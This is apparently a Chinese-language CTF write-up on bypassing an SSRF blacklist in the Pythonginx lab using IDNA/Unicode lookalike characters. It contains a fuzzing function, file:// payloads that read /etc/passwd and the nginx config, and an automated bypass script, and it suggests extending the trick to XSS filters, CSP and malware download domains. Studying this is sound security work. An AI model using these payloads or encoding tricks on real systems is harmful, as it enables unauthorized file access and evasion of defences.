别再只扫目录了!利用编码特性绕过黑名单的SSRF实战:以Pythonginx靶场为例
突破黑名单封锁Unicode编码在SSRF漏洞利用中的高阶技巧当Web应用开发者试图通过黑名单机制阻止对特定域名的访问时他们往往低估了字符编码系统的复杂性。在真实渗透测试场景中我们经常遇到类似Pythonginx靶场的设计——表面看来严密的防御实则暗藏玄机。1. 理解IDNA编码与Unicode的微妙关系国际域名系统IDNA允许非ASCII字符在域名中使用但这一便利特性可能成为安全防护的盲点。让我们先看一个典型漏洞场景# 漏洞代码片段示例 newhost [] for h in host.split(.): newhost.append(h.encode(idna).decode(utf-8)) parts[1] ..join(newhost)这段代码的问题在于它假设IDNA编码转换是单向且确定的。实际上多个Unicode字符经过编码后可能映射到同一个ASCII字符。例如Unicode字符码点IDNA编码结果ſU017FsßU00DFssıU0131i提示这种多对一的映射关系是绕过黑名单检查的关键所在2. 手工Fuzz技术发现可替代字符要系统性地寻找可用替代字符可以采用以下方法确定目标字符串如suctf.cc对每个字符生成Unicode范围内的所有可能替代筛选出编码后结果相同的字符def find_alternates(target_char): alternates [] for code in range(0x80, 0x10FFFF): try: char chr(code) encoded char.encode(idna).decode(utf-8) if encoded target_char: alternates.append((hex(code), char)) except: continue return alternates执行这个函数会发现字母s至少有17个有效的Unicode替代字符。这种特性使得看似严格的黑名单检查变得脆弱不堪。3. 构建有效Payload的实战步骤让我们以读取系统文件为例演示完整的利用链初始检测确认基础SSRF漏洞存在GET /getUrl?urlhttp://example.com HTTP/1.1绕过第一层检查使用Unicode替代字符GET /getUrl?urlhttp://ğ†uctf.cc/etc/passwd HTTP/1.1定位关键配置文件通过Nginx默认路径获取更多信息GET /getUrl?urlfile://ğ†uctf.cc/usr/local/nginx/conf/nginx.conf HTTP/1.1在实际测试中我们可能会遇到以下常见响应响应代码含义应对策略200 OK成功读取分析返回内容403 Forbidden路径错误尝试常见Nginx配置路径500 Internal Error编码处理异常调整Unicode字符组合4. 自动化漏洞利用的Python实现对于重复性测试任务可以编写自动化脚本提高效率import urllib.parse import requests def generate_payloads(base_domain): char_map { s: [ſ, ß, ẛ], u: [ᴜ, ∪], c: [ᴄ, ©], t: [ᴛ, ⊥], f: [ꜰ, ℱ] } for s_var in char_map[s]: for u_var in char_map[u]: for c_var in char_map[c]: for t_var in char_map[t]: for f_var in char_map[f]: yield f{s_var}{u_var}{c_var}{t_var}{f_var}.cc def test_payload(url_template, payload): full_url url_template.format(urllib.parse.quote(payload)) response requests.get(full_url) return response.status_code 200 and problem not in response.text这个脚本会系统地尝试各种字符组合直到找到能够绕过检查的有效Payload。5. 防御策略与安全建议面对这类编码相关的漏洞开发者应采取多层次防御输入验证层使用白名单而非黑名单机制在解析前规范化所有Unicode字符网络访问层ALLOWED_DOMAINS {example.com, trusted.org} def is_allowed(url): domain urllib.parse.urlparse(url).hostname return domain in ALLOWED_DOMAINS系统配置层限制服务器进程的文件系统访问权限使用chroot等隔离技术注意永远不要仅依赖客户端验证服务器端必须实施完整的校验逻辑6. 漏洞挖掘的扩展思路这种编码特性不仅适用于SSRF场景还可以应用于绕过XSS过滤器的特殊字符检查混淆恶意软件下载域名规避内容安全策略(CSP)的限制在最近的一次渗透测试中我们发现某金融系统虽然过滤了admin关键词但允许аdmin(西里尔字母а)通过最终成功获取了管理员权限。